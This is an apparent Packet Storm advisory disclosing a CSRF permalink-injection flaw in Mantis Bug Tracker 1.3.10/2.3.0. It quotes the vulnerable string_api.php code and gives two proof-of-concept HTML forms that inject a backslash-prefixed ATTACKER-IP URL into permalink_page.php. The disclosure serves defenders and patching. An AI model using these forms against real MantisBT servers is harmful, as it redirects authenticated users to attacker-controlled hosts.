Mantis Bug Tracker 1.3.10 / 2.3.0 Cross Site Request Forgery

Type packetstorm
Reporter hyp3rlinx
Modified 2017-05-22T00:00:00


                                            `[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website:  
[+] Source:  
[+] ISR: ApparitionSec   
Mantis Bug Tracker  
1.3.10 / v2.3.0  
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.  
Vulnerability Type:  
CSRF Permalink Injection  
CVE Reference:  
Security Issue:  
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.  
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.  
Line: 270  
# Check for URL's pointing to other domains  
if( 0 == $t_type || empty( $t_matches['script'] ) ||  
3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {  
return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';  
# Start extracting regex matches  
$t_script = $t_matches['script'];   
$t_script_path = $t_matches['path'];  
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">  
<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">  
Network Access:  
Disclosure Timeline:  
Vendor Notification: April 9, 2017  
Vendor Release Fix: May 15, 2017  
Vendor Disclosed: May 20, 2017  
May 20, 2017 : Public Disclosure  
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